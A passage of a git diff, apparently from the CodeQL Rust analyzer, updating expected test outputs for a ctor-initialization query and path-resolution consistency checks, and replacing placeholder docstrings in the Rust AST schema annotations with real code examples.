test.rs:34:4:35:50 | fn bad1_2 | +| test.rs:34:4:35:50 | fn bad1_2 | test.rs:35:9:35:24 | ...::stdout(...) | +| test.rs:34:4:35:50 | fn bad1_2 | test.rs:35:9:35:48 | ... .write(...) | +| test.rs:38:1:42:50 | fn bad1_3 | test.rs:42:9:42:24 | ...::stdout(...) | +| test.rs:38:1:42:50 | fn bad1_3 | test.rs:42:9:42:48 | ... .write(...) | +| test.rs:39:1:39:13 | Attr | test.rs:38:1:42:50 | fn bad1_3 | +| test.rs:50:1:50:7 | Attr | test.rs:51:4:52:41 | fn bad2_1 | +| test.rs:51:4:52:41 | fn bad2_1 | test.rs:52:9:52:15 | stdout(...) | +| test.rs:51:4:52:41 | fn bad2_1 | test.rs:52:9:52:39 | ... .write(...) | +| test.rs:55:1:55:7 | Attr | test.rs:56:4:57:45 | fn bad2_2 | +| test.rs:56:4:57:45 | fn bad2_2 | test.rs:57:9:57:15 | stderr(...) | +| test.rs:56:4:57:45 | fn bad2_2 | test.rs:57:9:57:43 | ... .write_all(...) | +| test.rs:60:1:60:7 | Attr | test.rs:61:4:62:30 | fn bad2_3 | +| test.rs:61:4:62:30 | fn bad2_3 | test.rs:62:14:62:28 | ...::_print(...) | +| test.rs:65:1:65:7 | Attr | test.rs:66:4:68:46 | fn bad2_4 | +| test.rs:66:4:68:46 | fn bad2_4 | test.rs:68:9:68:23 | ...::stdin(...) | +| test.rs:66:4:68:46 | fn bad2_4 | test.rs:68:9:68:44 | ... .read_line(...) | +| test.rs:73:1:73:7 | Attr | test.rs:74:4:75:55 | fn bad2_5 | +| test.rs:74:4:75:55 | fn bad2_5 | test.rs:75:17:75:44 | ...::create(...) | +| test.rs:78:1:78:7 | Attr | test.rs:79:4:80:39 | fn bad2_6 | +| test.rs:79:4:80:39 | fn bad2_6 | test.rs:80:14:80:37 | ...::now(...) | +| test.rs:87:1:87:7 | Attr | test.rs:88:4:89:36 | fn bad2_7 | +| test.rs:88:4:89:36 | fn bad2_7 | test.rs:89:5:89:34 | ...::sleep(...) | +| test.rs:94:1:94:7 | Attr | test.rs:95:4:96:24 | fn bad2_8 | +| test.rs:95:4:96:24 | fn bad2_8 | test.rs:96:5:96:22 | ...::exit(...) | | test.rs:124:1:126:1 | fn call_target3_1 | test.rs:125:9:125:16 | stderr(...) | | test.rs:124:1:126:1 | fn call_target3_1 | test.rs:125:9:125:44 | ... .write_all(...) | -| test.rs:128:1:128:7 | Attr | test.rs:128:1:131:1 | fn bad3_1 | -| test.rs:128:1:131:1 | fn bad3_1 | test.rs:130:5:130:20 | call_target3_1(...) | -| test.rs:130:5:130:20 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | -| test.rs:144:1:144:7 | Attr | test.rs:144:1:148:1 | fn bad3_3 | +| test.rs:128:1:128:7 | Attr | test.rs:129:4:130:21 | fn bad3_1 | +| test.rs:129:4:130:21 | fn bad3_1 | test.rs:130:5:130:19 | call_target3_1(...) | +| test.rs:130:5:130:19 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | +| test.rs:144:1:144:7 | Attr | test.rs:145:4:147:21 | fn bad3_3 | | test.rs:144:1:148:1 | fn bad3_3 | test.rs:146:5:146:20 | call_target3_1(...) | +| test.rs:145:4:147:21 | fn bad3_3 | test.rs:146:5:146:19 | call_target3_1(...) | +| test.rs:146:5:146:19 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | | test.rs:146:5:146:20 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | -| test.rs:150:1:150:7 | Attr | test.rs:150:1:153:1 | fn bad3_4 | -| test.rs:150:1:153:1 | fn bad3_4 | test.rs:152:5:152:12 | bad3_3(...) | -| test.rs:152:5:152:12 | bad3_3(...) | test.rs:144:1:148:1 | fn bad3_3 | -| test.rs:168:1:168:7 | Attr | test.rs:168:1:171:1 | fn bad4_1 | -| test.rs:168:1:171:1 | fn bad4_1 | test.rs:170:5:170:15 | ...::stdout(...) | +| test.rs:150:1:150:7 | Attr | test.rs:151:4:152:13 | fn bad3_4 | +| test.rs:151:4:152:13 | fn bad3_4 | test.rs:152:5:152:11 | bad3_3(...) | +| test.rs:152:5:152:11 | bad3_3(...) | test.rs:144:1:148:1 | fn bad3_3 | +| test.rs:168:1:168:7 | Attr | test.rs:169:4:170:16 | fn bad4_1 | +| test.rs:169:4:170:16 | fn bad4_1 | test.rs:168:1:168:7 | ... .write(...) | +| test.rs:169:4:170:16 | fn bad4_1 | test.rs:168:1:168:7 | ...::stdout(...) | diff --git a/rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..5fb57b10c01f --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,27 @@ +multiplePathResolutions +| test.rs:50:3:50:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:50:3:50:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:55:3:55:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:55:3:55:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:60:3:60:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:60:3:60:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:65:3:65:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:65:3:65:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:73:3:73:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:73:3:73:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:78:3:78:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:78:3:78:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:87:3:87:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:87:3:87:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:94:3:94:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:94:3:94:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:128:3:128:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:128:3:128:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:139:3:139:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:139:3:139:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:144:3:144:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:144:3:144:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:150:3:150:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:150:3:150:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:168:3:168:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:168:3:168:6 | ctor | file://:0:0:0:0 | fn ctor | diff --git a/rust/ql/test/query-tests/security/CWE-696/test.rs b/rust/ql/test/query-tests/security/CWE-696/test.rs index b23c06aa6a69..f589994d5d1d 100644 --- a/rust/ql/test/query-tests/security/CWE-696/test.rs +++ b/rust/ql/test/query-tests/security/CWE-696/test.rs @@ -70,14 +70,14 @@ fn bad2_4() { use std::fs; -#[ctor] // $ MISSING: Source=source2_5 +#[ctor] // $ Source=source2_5 fn bad2_5() { - let _buff = fs::File::create("hello.txt").unwrap(); // $ MISSING: Alert[rust/ctor-initialization]=source2_5 + let _buff = fs::File::create("hello.txt").unwrap(); // $ Alert[rust/ctor-initialization]=source2_5 } -#[ctor] // $ MISSING: Source=source2_6 +#[ctor] // $ Source=source2_6 fn bad2_6() { - let _t = std::time::Instant::now(); // $ MISSING: Alert[rust/ctor-initialization]=source2_6 + let _t = std::time::Instant::now(); // $ Alert[rust/ctor-initialization]=source2_6 } use std::time::Duration; @@ -165,7 +165,7 @@ macro_rules! macro4_1 { }; } -#[ctor] // $ Source=source4_1 +#[ctor] // $ Alert[rust/ctor-initialization] fn bad4_1() { - macro4_1!(); // $ Alert[rust/ctor-initialization]=source4_1 + macro4_1!(); } diff --git a/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..d3d59980e32f --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,15 @@ +multiplePathResolutions +| main.rs:218:14:218:17 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:218:14:218:17 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:219:13:219:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:219:13:219:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:220:13:220:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:220:13:220:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:221:13:221:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:221:13:221:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:222:13:222:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:222:13:222:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:223:13:223:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:223:13:223:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | diff --git a/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..804c13f6434b --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,11 @@ +multiplePathResolutions +| deallocation.rs:106:16:106:19 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | +| deallocation.rs:106:16:106:19 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| deallocation.rs:106:16:106:27 | ...::malloc | file://:0:0:0:0 | fn malloc | +| deallocation.rs:106:16:106:27 | ...::malloc | file://:0:0:0:0 | fn malloc | +| deallocation.rs:112:3:112:6 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | +| deallocation.rs:112:3:112:6 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| deallocation.rs:112:3:112:12 | ...::free | file://:0:0:0:0 | fn free | +| deallocation.rs:112:3:112:12 | ...::free | file://:0:0:0:0 | fn free | +| deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | +| deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | diff --git a/rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected new file mode 100644 index 000000000000..56ce1df5c894 --- /dev/null +++ b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected @@ -0,0 +1,2 @@ +illFormedTypeMention +| main.rs:403:18:403:24 | FuncPtr | diff --git a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql index e0788253f43e..fe5e532394b4 100644 --- a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql +++ b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Function f) { result = ContentSensitive::captureFlow(f, _) } + string getCapturedModel(Function f) { result = ContentSensitive::captureFlow(f, _, _, _, _) } string getKind() { result = "summary" } } diff --git a/rust/ql/test/utils/PrintAst.expected b/rust/ql/test/utils/PrintAst.expected new file mode 100644 index 000000000000..8c584755b351 --- /dev/null +++ b/rust/ql/test/utils/PrintAst.expected @@ -0,0 +1,2 @@ +lib.rs: +# 1| [SourceFile] SourceFile diff --git a/rust/ql/test/utils/PrintAst.ql b/rust/ql/test/utils/PrintAst.ql new file mode 100644 index 000000000000..299b092d51f2 --- /dev/null +++ b/rust/ql/test/utils/PrintAst.ql @@ -0,0 +1,15 @@ +/** + * @name Print AST + * @description Outputs a representation of a file's Abstract Syntax Tree + * @id rust/test/print-ast + * @kind graph + */ + +import rust +import codeql.rust.printast.PrintAst +import codeql.rust.elements.internal.generated.ParentChild +import TestUtils + +predicate shouldPrint(Locatable e) { toBeTested(e) } + +import PrintAst diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 6eb463746ec9..c6ab581d7cae 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -644,7 +644,8 @@ class _: An inline assembly expression. For example: ```rust unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } ``` """ @@ -868,9 +869,12 @@ class _: @annotate(Abi) class _: """ - A Abi. For example: + An ABI specification for an extern function or block. + + For example: ```rust - todo!() + extern "C" fn foo() {} + // ^^^ ``` """ @@ -878,9 +882,12 @@ class _: @annotate(ArgList) class _: """ - A ArgList. For example: + A list of arguments in a function or method call. + + For example: ```rust - todo!() + foo(1, 2, 3); + // ^^^^^^^^^ ``` """ @@ -888,9 +895,12 @@ class _: @annotate(ArrayTypeRepr) class _: """ - A ArrayTypeRepr. For example: + An array type representation. + + For example: ```rust - todo!() + let arr: [i32; 4]; + // ^^^^^^^^ ``` """ @@ -898,9 +908,12 @@ class _: @annotate(AssocItem) class _: """ - A AssocItem. For example: + An associated item in a `Trait` or `Impl`. + + For example: ```rust - todo!() + trait T {fn foo(&self);} + // ^^^^^^^^^^^^^ ``` """ @@ -909,16 +922,24 @@ class _: @qltest.test_with(Trait) class _: """ - A list of `AssocItem` elements, as appearing for example in a `Trait`. + A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. """ @annotate(AssocTypeArg) class _: """ - A AssocTypeArg. For example: + An associated type argument in a path. + + For example: ```rust - todo!() + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } ``` """ @@ -926,9 +947,13 @@ class _: @annotate(Attr) class _: """ - A Attr. For example: + An attribute applied to an item. + + For example: ```rust - todo!() + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; ``` """ @@ -936,9 +961,17 @@ class _: @annotate(ClosureBinder) class _: """ - A ClosureBinder. For example: + A closure binder, specifying lifetime or type parameters for a closure. + + For example: ```rust - todo!() + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); ``` """ @@ -946,9 +979,11 @@ class _: @annotate(Const) class _: """ - A Const. For example: + A constant item declaration. + + For example: ```rust - todo!() + const X: i32 = 42; ``` """ @@ -956,9 +991,12 @@ class _: @annotate(ConstArg) class _: """ - A ConstArg. For example: + A constant argument in a generic argument list. + + For example: ```rust - todo!() + Foo::<3> + // ^ ``` """ @@ -966,9 +1004,12 @@ class _: @annotate(ConstParam) class _: """ - A ConstParam. For example: + A constant parameter in a generic parameter list. + + For example: ```rust - todo!() + struct Foo ; + // ^^^^^^^^^^^^^^ ``` """ @@ -976,9 +1017,12 @@ class _: @annotate(DynTraitTypeRepr) class _: """ - A DynTraitTypeRepr. For example: + A dynamic trait object type. + + For example: ```rust - todo!() + let x: &dyn Debug; + // ^^^^^^^^^ ``` """ @@ -986,9 +1030,11 @@ class _: @annotate(Enum) class _: """ - A Enum. For example: + An enum declaration. + + For example: ```rust - todo!() + enum E {A, B(i32), C {x: i32}} ``` """ @@ -996,9 +1042,13 @@ class _: @annotate(ExternBlock) class _: """ - A ExternBlock. For example: + An extern block containing foreign function declarations. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + } ``` """ @@ -1006,9 +1056,11 @@ class _: @annotate(ExternCrate) class _: """ - A ExternCrate. For example: + An extern crate declaration. + + For example: ```rust - todo!() + extern crate serde; ``` """ @@ -1016,9 +1068,14 @@ class _: @annotate(ExternItem) class _: """ - A ExternItem. For example: + An item inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ @@ -1026,20 +1083,29 @@ class _: @annotate(ExternItemList) class _: """ - A ExternItemList. For example: + A list of items inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ -# @annotate(VariantFieldList) @annotate(FieldList) class _: """ - A field of a variant. For example: + A list of fields in a struct or enum variant. + + For example: ```rust - todo!() + struct S {x: i32, y: i32} + // ^^^^^^^^^^^^^^^^ + enum E {A(i32, i32)} + // ^^^^^^^^^^^^^ ``` """ @@ -1047,9 +1113,12 @@ class _: @annotate(FnPtrTypeRepr) class _: """ - A FnPtrTypeRepr. For example: + A function pointer type. + + For example: ```rust - todo!() + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ ``` """ @@ -1057,9 +1126,13 @@ class _: @annotate(ForExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A ForExpr. For example: + A for loop expression. + + For example: ```rust - todo!() + for x in 0..10 { + println!("{}", x); + } ``` """ label: drop @@ -1069,9 +1142,17 @@ class _: @annotate(ForTypeRepr) class _: """ - A ForTypeRepr. For example: + A higher-ranked trait bound. + + For example: ```rust - todo!() + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } ``` """ @@ -1105,9 +1186,12 @@ class _: @annotate(GenericArg) class _: """ - A GenericArg. For example: + A generic argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^^^^^^^^^ ``` """ @@ -1115,9 +1199,12 @@ class _: @annotate(GenericParam) class _: """ - A GenericParam. For example: + A generic parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T, u: U) {} + // ^ ^ ``` """ @@ -1138,9 +1225,13 @@ class _: @annotate(Impl) class _: """ - A Impl. For example: + An `impl`` block. + + For example: ```rust - todo!() + impl MyTrait for MyType { + fn foo(&self) {} + } ``` """ @@ -1148,9 +1239,12 @@ class _: @annotate(ImplTraitTypeRepr) class _: """ - A ImplTraitTypeRepr. For example: + An `impl Trait` type. + + For example: ```rust - todo!() + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1158,29 +1252,42 @@ class _: @annotate(InferTypeRepr) class _: """ - A InferTypeRepr. For example: + An inferred type (`_`). + + For example: ```rust - todo!() + let x: _ = 42; + // ^ ``` """ -@annotate(Item) +@annotate(Item, add_bases=(Addressable,)) class _: """ - A Item. For example: + An item such as a function, struct, enum, etc. + + For example: ```rust - todo!() + fn foo() {} + struct S; + enum E {} ``` """ + attribute_macro_expansion: optional[MacroItems] | child | rust.detach @annotate(ItemList) class _: """ - A ItemList. For example: + A list of items in a module or block. + + For example: ```rust - todo!() + mod m { + fn foo() {} + struct S; + } ``` """ @@ -1188,9 +1295,14 @@ class _: @annotate(LetElse) class _: """ - A LetElse. For example: + An else block in a let-else statement. + + For example: ```rust - todo!() + let Some(x) = opt else { + return; + }; + // ^^^^^^ ``` """ @@ -1198,9 +1310,12 @@ class _: @annotate(Lifetime) class _: """ - A Lifetime. For example: + A lifetime annotation. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ^^ ``` """ @@ -1208,9 +1323,12 @@ class _: @annotate(LifetimeArg) class _: """ - A LifetimeArg. For example: + A lifetime argument in a generic argument list. + + For example: ```rust - todo!() + let text: Text<'a>; + // ^^ ``` """ @@ -1218,63 +1336,46 @@ class _: @annotate(LifetimeParam) class _: """ - A LifetimeParam. For example: - ```rust - todo!() - ``` - """ - + A lifetime parameter in a generic parameter list. -@annotate(MacroCall, cfg=True) -class _: - """ - A MacroCall. For example: + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ``` """ - expanded: optional[AstNode] | child | rust.detach -@annotate(MacroDef) +@annotate(MacroCall, cfg=True) class _: """ - A MacroDef. For example: - ```rust - todo!() - ``` - """ - + A macro invocation. -@annotate(MacroExpr, cfg=True) -class _: - """ - A MacroExpr. For example: + For example: ```rust - todo!() + println!("Hello, world!"); ``` """ + macro_call_expansion: optional[AstNode] | child | rust.detach @annotate(MacroItems) @rust.doc_test_signature(None) class _: """ - A sequence of items generated by a `MacroCall`. For example: + A sequence of items generated by a macro. For example: ```rust mod foo{ include!("common_definitions.rs"); - } - ``` - """ + #[an_attribute_macro] + fn foo() { + println!("Hello, world!"); + } -@annotate(MacroPat, cfg=True) -class _: - """ - A MacroPat. For example: - ```rust - todo!() + #[derive(Debug)] + struct Bar; + } ``` """ @@ -1282,9 +1383,13 @@ class _: @annotate(MacroRules) class _: """ - A MacroRules. For example: + A macro definition using the `macro_rules!` syntax. ```rust - todo!() + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } ``` """ @@ -1305,9 +1410,15 @@ class _: @annotate(MacroTypeRepr) class _: """ - A MacroTypeRepr. For example: + A type produced by a macro. + + For example: ```rust - todo!() + macro_rules! macro_type { + () => { i32 }; + } + type T = macro_type!(); + // ^^^^^^^^^^^^^ ``` """ @@ -1315,9 +1426,16 @@ class _: @annotate(MatchArmList) class _: """ - A MatchArmList. For example: + A list of arms in a match expression. + + For example: ```rust - todo!() + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ ``` """ @@ -1325,9 +1443,15 @@ class _: @annotate(MatchGuard) class _: """ - A MatchGuard. For example: + A guard condition in a match arm. + + For example: ```rust - todo!() + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } ``` """ @@ -1335,9 +1459,17 @@ class _: @annotate(Meta) class _: """ - A Meta. For example: + A meta item in an attribute. + + For example: ```rust - todo!() + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } ``` """ @@ -1345,9 +1477,12 @@ class _: @annotate(Name, cfg=True) class _: """ - A Name. For example: + An identifier name. + + For example: ```rust - todo!() + let foo = 1; + // ^^^ ``` """ @@ -1355,9 +1490,12 @@ class _: @annotate(NameRef) class _: """ - A NameRef. For example: + A reference to a name. + + For example: ```rust - todo!() + foo(); + //^^^ ``` """ @@ -1365,9 +1503,12 @@ class _: @annotate(NeverTypeRepr) class _: """ - A NeverTypeRepr. For example: + The never type `!`. + + For example: ```rust - todo!() + fn foo() -> ! { panic!() } + // ^ ``` """ @@ -1399,22 +1540,14 @@ class _: type_repr: drop -@annotate(ParamList) -class _: - """ - A ParamList. For example: - ```rust - todo!() - ``` - """ - - @annotate(ParenExpr) class _: """ - A ParenExpr. For example: + A parenthesized expression. + + For example: ```rust - todo!() + (x + y) ``` """ @@ -1422,9 +1555,12 @@ class _: @annotate(ParenPat) class _: """ - A ParenPat. For example: + A parenthesized pattern. + + For example: ```rust - todo!() + let (x) = 1; + // ^^^ ``` """ @@ -1432,9 +1568,12 @@ class _: @annotate(ParenTypeRepr) class _: """ - A ParenTypeRepr. For example: + A parenthesized type. + + For example: ```rust - todo!() + let x: (i32); + // ^^^^^ ``` """ @@ -1444,6 +1583,12 @@ class _: class _: """ A path segment, which is one part of a whole path. + For example: + - `HashMap` + - `HashMap` + - `Fn(i32) -> i32` + - `widgets(..)` + - `` """ type_repr: optional["TypeRepr"] | child | rust.detach trait_type_repr: optional["PathTypeRepr"] | child | rust.detach @@ -1453,7 +1598,7 @@ class _: @qltest.test_with(Path) class _: """ - A type referring to a path. For example: + A path referring to a type. For example: ```rust type X = std::collections::HashMap; type Y = X::Item; @@ -1464,9 +1609,13 @@ class _: @annotate(PtrTypeRepr) class _: """ - A PtrTypeRepr. For example: + A pointer type. + + For example: ```rust - todo!() + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ ``` """ @@ -1474,9 +1623,12 @@ class _: @annotate(StructExprFieldList) class _: """ - A StructExprFieldList. For example: + A list of fields in a struct expression. + + For example: ```rust - todo!() + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ ``` """ @@ -1484,9 +1636,12 @@ class _: @annotate(StructField) class _: """ - A StructField. For example: + A field in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32 } + // ^^^^^^^ ``` """ @@ -1494,9 +1649,12 @@ class _: @annotate(StructFieldList) class _: """ - A field list of a struct expression. For example: + A list of fields in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ ``` """ @@ -1504,9 +1662,12 @@ class _: @annotate(StructPatFieldList) class _: """ - A StructPatFieldList. For example: + A list of fields in a struct pattern. + + For example: ```rust - todo!() + let Foo { a, b } = foo; + // ^^^^^ ``` """ @@ -1514,9 +1675,13 @@ class _: @annotate(RefTypeRepr) class _: """ - A RefTypeRepr. For example: + A reference type. + + For example: ```rust - todo!() + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ ``` """ @@ -1524,9 +1689,12 @@ class _: @annotate(Rename) class _: """ - A Rename. For example: + A rename in a use declaration. + + For example: ```rust - todo!() + use foo as bar; + // ^^^^^^ ``` """ @@ -1534,9 +1702,12 @@ class _: @annotate(RestPat, cfg=True) class _: """ - A RestPat. For example: + A rest pattern (`..`) in a tuple, slice, or struct pattern. + + For example: ```rust - todo!() + let (a, .., z) = (1, 2, 3); + // ^^ ``` """ @@ -1544,9 +1715,12 @@ class _: @annotate(RetTypeRepr) class _: """ - A RetTypeRepr. For example: + A return type in a function signature. + + For example: ```rust - todo!() + fn foo() -> i32 {} + // ^^^^^^ ``` """ @@ -1554,9 +1728,22 @@ class _: @annotate(ReturnTypeSyntax) class _: """ - A ReturnTypeSyntax. For example: + A return type notation `(..)` to reference or bound the type returned by a trait method + + For example: ```rust - todo!() + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } ``` """ @@ -1584,9 +1771,12 @@ class _: @annotate(SliceTypeRepr) class _: """ - A SliceTypeRepr. For example: + A slice type. + + For example: ```rust - todo!() + let s: &[i32]; + // ^^^^^ ``` """ @@ -1594,9 +1784,12 @@ class _: @annotate(SourceFile) class _: """ - A SourceFile. For example: + A source file. + + For example: ```rust - todo!() + // main.rs + fn main() {} ``` """ @@ -1604,9 +1797,11 @@ class _: @annotate(Static) class _: """ - A Static. For example: + A static item declaration. + + For example: ```rust - todo!() + static X: i32 = 42; ``` """ @@ -1614,9 +1809,15 @@ class _: @annotate(StmtList) class _: """ - A StmtList. For example: + A list of statements in a block. + + For example: ```rust - todo!() + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ ``` """ @@ -1626,7 +1827,10 @@ class _: """ A Struct. For example: ```rust - todo!() + struct Point { + x: i32, + y: i32, + } ``` """ field_list: _ | ql.db_table_name("struct_field_lists_") @@ -1635,9 +1839,16 @@ class _: @annotate(TokenTree) class _: """ - A TokenTree. For example: + A token tree in a macro definition or invocation. + + For example: + ```rust + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ``` ```rust - todo!() + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1662,9 +1873,11 @@ class _: @annotate(TraitAlias) class _: """ - A TraitAlias. For example: + A trait alias. + + For example: ```rust - todo!() + trait Foo = Bar + Baz; ``` """ @@ -1672,9 +1885,12 @@ class _: @annotate(TryExpr, cfg=True) class _: """ - A TryExpr. For example: + A try expression using the `?` operator. + + For example: ```rust - todo!() + let x = foo()?; + // ^ ``` """ @@ -1682,9 +1898,12 @@ class _: @annotate(TupleField) class _: """ - A TupleField. For example: + A field in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^ ^^^^^^ ``` """ @@ -1692,9 +1911,12 @@ class _: @annotate(TupleFieldList) class _: """ - A TupleFieldList. For example: + A list of fields in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1702,9 +1924,12 @@ class _: @annotate(TupleTypeRepr) class _: """ - A TupleTypeRepr. For example: + A tuple type. + + For example: ```rust - todo!() + let t: (i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1727,9 +1952,12 @@ class _: @annotate(TypeArg) class _: """ - A TypeArg. For example: + A type argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^ ``` """ @@ -1737,9 +1965,12 @@ class _: @annotate(TypeBound) class _: """ - A TypeBound. For example: + A type bound in a trait or generic parameter. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^ ``` """ @@ -1747,9 +1978,12 @@ class _: @annotate(TypeBoundList) class _: """ - A TypeBoundList. For example: + A list of type bounds. + + For example: ```rust - 